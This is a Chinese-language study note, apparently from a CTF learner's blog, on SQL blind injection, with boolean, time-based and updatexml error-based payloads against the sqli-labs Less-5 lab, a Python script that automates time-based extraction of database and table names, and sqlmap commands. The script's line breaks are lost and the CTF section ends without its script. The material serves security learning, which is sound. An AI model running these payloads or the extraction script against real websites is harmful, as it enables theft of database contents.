SQL盲注及python脚本编写
1、什么是盲注
盲注就是在 sql 注入過程中,sql 語句執行的選擇后,選擇的數據不能回顯 到前端頁面。此時,我們需要利用一些方法進行判斷或者嘗試,這個過程稱之為盲注。從 background-1 中,我們可以知道盲注分為三類
-
基于布爾 SQL 盲注
-
基于時間的 SQL 盲注
-
基于報錯的 SQL 盲注
0x01.基于布爾 SQL 盲注----------構造邏輯判斷
left() :left(a,b)從左側截取 a 的前 b 位
accii():Ascii()將某個字符轉換 為 ascii
substr():substr(a,b,c)從 b 位置開始,截取字符串 a 的 c 長度。
ord():Ord()函數同 ascii(),將字符轉為 ascii 值
mid():mid(a,b,c)從位置 b 開始,截取 a 字符串的 c 位
正則注入:http://www.cnblogs.com/lcamry/articles/5717442.html
like 匹配注:
0x02.基于時間的 SQL 盲注
If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if 判斷語句,條件為假, 執行 sleep,通過響應的時間判斷
0x03.基于報錯的 SQL 盲注
報錯注入有很多種方法,簡單介紹一種,其他另行參考文章:
https://www.cnblogs.com/wocalieshenmegui/p/5917967.html
報錯注入實例:
1.select * from news where id=-1 union select updatexml(1,concat(0x7e,database(),0x7e),1) 得到數據庫為sqli 其他均相同: 數據庫版本: 10.3.22-MariaDB-0+deb10u1 用戶: root@localhost 操作系統: debian-linux-gnu 2,查詢數據庫的表 select * from news where id=-1 union select updatexml(1,concat(0x7e,(select (group_concat(table_name)) from information_schema.tables where table_schema='sqli'),0x7e),1) 得到news,flag 查詢列 select * from news where id=-1 union select updatexml(1,concat(0x7e,(select (group_concat(column_name))from information_schema.columns where table_name='flag') ,0x7e),1) 得到flag select * from news where id=-1 union select updatexml(1,concat(0x7e,(select (group_concat(flag)) from sqli.flag),0x7e),1)由于回現字符數量限制,-1 union select updatexml(1,concat(0x7e, right((select(group_concat(flag)) from sqli.flag) ,31),0x7e),1);一、updatexml函數
UPDATEXML (XML_document, XPath_string, new_value);
第一個參數:XML_document是String格式,為XML文檔對象的名稱。
第二個參數:XPath_string (Xpath格式的字符串) 。
第三個參數:new_value,String格式,替換查找到的符合條件的數據
作用:改變文檔中符合條件的節點的值。
由于updatexml的第二個參數需要Xpath格式的字符串,以~開頭的內容不是xml格式的語法,concat()函數為字符串連接函數顯然不符合規則,但是會將括號內的執行結果以錯誤的形式報出,這樣就可以實現報錯注入了。
- contact函數用于將多個字符串連接成一個字符串,是最重要的mysql函數之一
- right(str, num):字符串從右開始截取num個字符
- left(str,num):字符串從左開始截取num個字符
- substr(str,N,M): 字符串從第N個字符開始,截取M個字符
2、sqllib less-5
1、left()
可以看出不顯示結果,構造:
數據庫的版本:
http://127.0.0.1/sqli-labs-master/Less-5/?id=1'and left(version(),1)=5 --+數據庫長度:
http://127.0.0.1/sqli-labs-master/Less-5/?id=1'and length(database())=8 --+猜測數據庫第一位:
http://127.0.0.1/sqli-labs-master/Less-5/?id=1'and left(database(),1)>'h' --+可以使用二分法來提高效率;
2、利用 substr() ascii()函數進行測試
http://127.0.0.1/sqli-labs-master/Less-5/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+ 獲取第一個字符 e 對應的為 101 第二個 substr(**,2,1) 即可 此處 table_schema 可以寫成 =’security’,但是我們這里使用的 database(),是因 為此處 database()就是 security。此處同樣的使用二分法進行測試,直到測試正確為止。 此處應該是 101,因為第一個表示 email。這里可以看到我們上述的語句中使用的 limit 0,1. 意思就是從第 0 個開始,獲取第一個。那 要獲取第二個是不是就是 limit 1,1。
然后一直測試。當然不能靠手猜了,可以python解決和sqlmap注入工具。
3、python手寫版本
import requests import time #以第五關為例 def get_database():headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-='database = ''length=0for l in range(1,20):Url = 'http://127.0.0.1/sqli-labs-master/Less-5/?id=1%27 and if(length(database())>{0},1,sleep(3))--+'UrlFormat = Url.format(l) #format()函數使用start_time0 = time.time() #發送請求前的時間賦值requests.get(UrlFormat,headers=headers)if time.time() - start_time0 > 2: #判斷正確的數據庫長度print('database length is ' + str(l))length = lbreakelse:passfor i in range(1,length+1):for char in chars:charAscii = ord(char) #char轉換為asciiurl = 'http://127.0.0.1/sqli-labs-master/Less-5/?id=1%27and if(ascii(substr(database(),{0},1))>{1},1,sleep(3))--+'urlformat = url.format(i,charAscii)start_time = time.time()requests.get(urlformat,headers=headers)if time.time() - start_time > 2:database+=charprint('database: ',database)breakelse:passprint('database is ' + database) def get_dbtables():headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-='for j in range(0,4):database = ''length = 0for l in range(1, 20):Url = 'http://127.0.0.1/sqli-labs-master/Less-5/?id=1%27 and if(length((select table_name from information_schema.tables where table_schema=database() limit {0},1))>{1},1,sleep(3))--+'UrlFormat = Url.format(j,l) # format()函數使用start_time0 = time.time() # 發送請求前的時間賦值requests.get(UrlFormat, headers=headers)if time.time() - start_time0 > 2: # 判斷正確的數據庫長度print('table length is ' + str(l))length = lbreakelse:passfor i in range(1, length + 1):for char in chars:charAscii = ord(char) # char轉換為asciiurl = 'http://127.0.0.1/sqli-labs-master/Less-5/?id=1%27and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {0},1),{1},1))>{2},1,sleep(3))--+'urlformat = url.format(j,i, charAscii)start_time = time.time()requests.get(urlformat, headers=headers)if time.time() - start_time > 2:database += charprint('第'+str(j)+'個表:')print('database: ', database)breakelse:passprint('第'+str(j)+'個表:'''+'database is ' + database)if __name__ == '__main__':get_database() #獲取數據庫名get_dbtables() #獲取表名get_column() #獲取列名get_column_content() #獲取列的內容數據庫名獲取正確:
表明獲取正確
4、sqlmap注入工具
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-5/?id=1" --current-db #默認是當前數據庫 python sqlmap.py -u "http://sql.test/Less-1/?id= 1" --tables #查詢目標主機information_schema的表信息 python sqlmap.py -u "http://sql.test/Less-1/?id= 1" -D "information_schema" --tables #默認是當前數據庫 python sqlmap.py -u "http://sql.test/Less-1/?id= 1" --tables[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-TMLM8xvc-1652880143247)(D:\我的\CTF學習\web安全筆記\SQL盲注.assets\image-20220518211533824.png)]
只是簡單的工具的使用,具體可以參考這篇文章:
https://blog.csdn.net/weixin_46962006/article/details/121307150
三、CISCN2019 華北賽區 Day2 Web1]Hack World
掃描的前期工作就不贅述了,直接開始正題:
我們輸入,1,2,發現回顯正常,3,-1啥的都回顯這個:
測試是否存在SQL注入:
這必然有漏洞,嘗試了很多發現if(1=1,1,2)和0^1可以使用:
編寫腳本爆信息:
總結
以上是生活随笔為你收集整理的SQL盲注及python脚本编写的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 为什么要有 hash 和 history
- 下一篇: unity socket传输图片_pyt